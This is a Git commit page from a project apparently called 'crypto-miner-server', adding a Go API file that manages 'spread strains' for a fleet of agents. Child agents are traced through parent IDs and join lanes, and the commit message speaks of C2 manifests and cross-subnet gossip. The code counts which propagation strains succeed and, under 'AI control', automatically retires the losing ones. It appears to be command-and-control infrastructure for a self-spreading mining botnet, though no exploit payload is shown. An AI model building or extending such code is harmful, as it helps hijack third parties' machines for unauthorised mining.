Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
250
server/internal/api/strain_hospice.go
Normal file
250
server/internal/api/strain_hospice.go
Normal file
@@ -0,0 +1,250 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
type strainHospiceRequest struct {
|
||||
StrainID string `json:"strain_id"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// GetStrainHospice lists archived strains (museum read-only lineage).
|
||||
func (f *FleetHandler) GetStrainHospice(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []db.StrainHospiceRecord{})
|
||||
return
|
||||
}
|
||||
rows, err := f.db.ListStrainHospice(200)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
// PostStrainHospice archives a failed/low-win strain to hospice.
|
||||
func (f *FleetHandler) PostStrainHospice(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil || f.ws == nil {
|
||||
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req strainHospiceRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
strainID := strategy.NormalizeStrainID(req.StrainID)
|
||||
if strainID == "" {
|
||||
http.Error(w, "strain_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
reason := strings.TrimSpace(req.Reason)
|
||||
if reason == "" {
|
||||
reason = "operator manual retirement"
|
||||
}
|
||||
rec, err := f.ws.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByOperator), reason)
|
||||
if err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "strain_hospice", "", map[string]interface{}{
|
||||
"strain_id": strainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
})
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": true,
|
||||
"strain_id": rec.StrainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
"retired_at": rec.RetiredAt,
|
||||
})
|
||||
}
|
||||
|
||||
// RetireStrainToHospice archives a strain, updates breeding cache, and emits Seer + oath ledger.
|
||||
func (h *WSHub) RetireStrainToHospice(strainID, retiredBy, reason string) (*db.StrainHospiceRecord, error) {
|
||||
if h == nil || h.db == nil {
|
||||
return nil, errHubUnavailable
|
||||
}
|
||||
strainID = strategy.NormalizeStrainID(strainID)
|
||||
if strainID == "" {
|
||||
return nil, errStrainRequired
|
||||
}
|
||||
if ok, err := h.db.IsStrainInHospice(strainID); err != nil {
|
||||
return nil, err
|
||||
} else if ok {
|
||||
rec, err := h.db.GetStrainHospice(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rec, nil
|
||||
}
|
||||
cardJSON, err := h.db.CardJSONForStrain(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := h.db.RetireStrain(strainID, retiredBy, reason, cardJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rec, err := h.db.GetStrainHospice(strainID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
h.refreshHospiceBreedingCache()
|
||||
h.emitStrainHospiceRetirement(rec, retiredBy, reason)
|
||||
log.Printf("[hospice] strain %s retired by %s: %s", strainID, retiredBy, reason)
|
||||
return rec, nil
|
||||
}
|
||||
|
||||
func (h *WSHub) refreshHospiceBreedingCache() {
|
||||
if h == nil || h.db == nil || h.breedingRegistry == nil {
|
||||
return
|
||||
}
|
||||
set, err := h.db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
log.Printf("[hospice] breeding cache refresh: %v", err)
|
||||
return
|
||||
}
|
||||
h.breedingRegistry.SetHospiceStrains(set)
|
||||
}
|
||||
|
||||
func (h *WSHub) emitStrainHospiceRetirement(rec *db.StrainHospiceRecord, retiredBy, reason string) {
|
||||
if rec == nil {
|
||||
return
|
||||
}
|
||||
payload := map[string]interface{}{
|
||||
"strain_id": rec.StrainID,
|
||||
"retired_by": rec.RetiredBy,
|
||||
"reason": rec.Reason,
|
||||
"retired_at": rec.RetiredAt.UTC().Format("2006-01-02T15:04:05Z"),
|
||||
"card_json": json.RawMessage(rec.CardJSON),
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.db, Hub: h}).Record(
|
||||
retiredBy, db.OathStrainHospice, "", rec.StrainID, db.OathOutcomeSuccess,
|
||||
map[string]interface{}{"reason": reason, "retired_by": rec.RetiredBy},
|
||||
payload,
|
||||
)
|
||||
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
|
||||
_ = emitter.EmitSeerEvent("strain_hospice", "", payload)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "strain_hospice",
|
||||
Payload: mustMarshal(payload),
|
||||
})
|
||||
}
|
||||
|
||||
// HospiceStrainSet returns retired strains for topology and fork-merge guards.
|
||||
func (h *WSHub) HospiceStrainSet() map[string]bool {
|
||||
if h == nil || h.db == nil {
|
||||
return nil
|
||||
}
|
||||
set, err := h.db.HospiceStrainSet()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
// MaybeAutoRetireLowWinStrains scans epidemiology and retires chronic losers when AI control is on.
|
||||
func (h *WSHub) MaybeAutoRetireLowWinStrains() {
|
||||
if h == nil || h.db == nil {
|
||||
return
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !policy.AIControlEnabled {
|
||||
return
|
||||
}
|
||||
threshold := policy.StrainHospiceWinRateThreshold
|
||||
if threshold <= 0 {
|
||||
threshold = strategy.DefaultHospiceWinRateThreshold
|
||||
}
|
||||
minAttempts := policy.StrainHospiceMinAttempts
|
||||
if minAttempts <= 0 {
|
||||
minAttempts = strategy.DefaultHospiceMinAttempts
|
||||
}
|
||||
hospice, _ := h.db.HospiceStrainSet()
|
||||
for strainID, stats := range h.collectStrainSpreadStats() {
|
||||
if hospice[strainID] {
|
||||
continue
|
||||
}
|
||||
if !strategy.ShouldAutoRetireStrain(stats.Wins, stats.Losses, threshold, minAttempts) {
|
||||
continue
|
||||
}
|
||||
reason := "ai auto-retire: win_rate below threshold after min attempts"
|
||||
if _, err := h.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByAI), reason); err != nil {
|
||||
log.Printf("[hospice] auto-retire %s: %v", strainID, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) collectStrainSpreadStats() map[string]strategy.StrainSpreadStats {
|
||||
out := make(map[string]strategy.StrainSpreadStats)
|
||||
if h == nil || h.db == nil {
|
||||
return out
|
||||
}
|
||||
agents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
joinLanes := h.agentJoinLanesSnapshot()
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
strain := strategy.NormalizeStrainID(ag.SpreadStrain)
|
||||
if strain == "" {
|
||||
lane := joinLanes[ag.ID]
|
||||
if lane == "" {
|
||||
lane = ag.JoinLane
|
||||
}
|
||||
strain = strategy.StrainFromSpreadLane(lane)
|
||||
}
|
||||
if strain == "" {
|
||||
continue
|
||||
}
|
||||
entry := out[strain]
|
||||
entry.StrainID = strain
|
||||
if ag.ParentAgentID != "" {
|
||||
if ag.Status == "online" && (ag.JoinLane != "" || joinLanes[ag.ID] != "") {
|
||||
entry.Wins++
|
||||
} else if ag.Status == "error" || ag.Status == "offline" {
|
||||
entry.Losses++
|
||||
}
|
||||
}
|
||||
out[strain] = entry
|
||||
}
|
||||
cards, _ := h.db.ListStrainCards(200)
|
||||
for _, c := range cards {
|
||||
strain := strategy.NormalizeStrainID(c.SpreadStrain)
|
||||
if strain == "" {
|
||||
continue
|
||||
}
|
||||
entry := out[strain]
|
||||
entry.StrainID = strain
|
||||
var card map[string]interface{}
|
||||
if json.Unmarshal([]byte(c.CardJSON), &card) == nil {
|
||||
if wins, ok := card["wins"].([]interface{}); ok {
|
||||
entry.Wins += len(wins)
|
||||
}
|
||||
if losses, ok := card["losses"].([]interface{}); ok {
|
||||
entry.Losses += len(losses)
|
||||
}
|
||||
}
|
||||
out[strain] = entry
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
var (
|
||||
errHubUnavailable = &strainCardError{"hub unavailable"}
|
||||
errStrainRequired = &strainCardError{"strain_id is required"}
|
||||
)
|
||||
Reference in New Issue
Block a user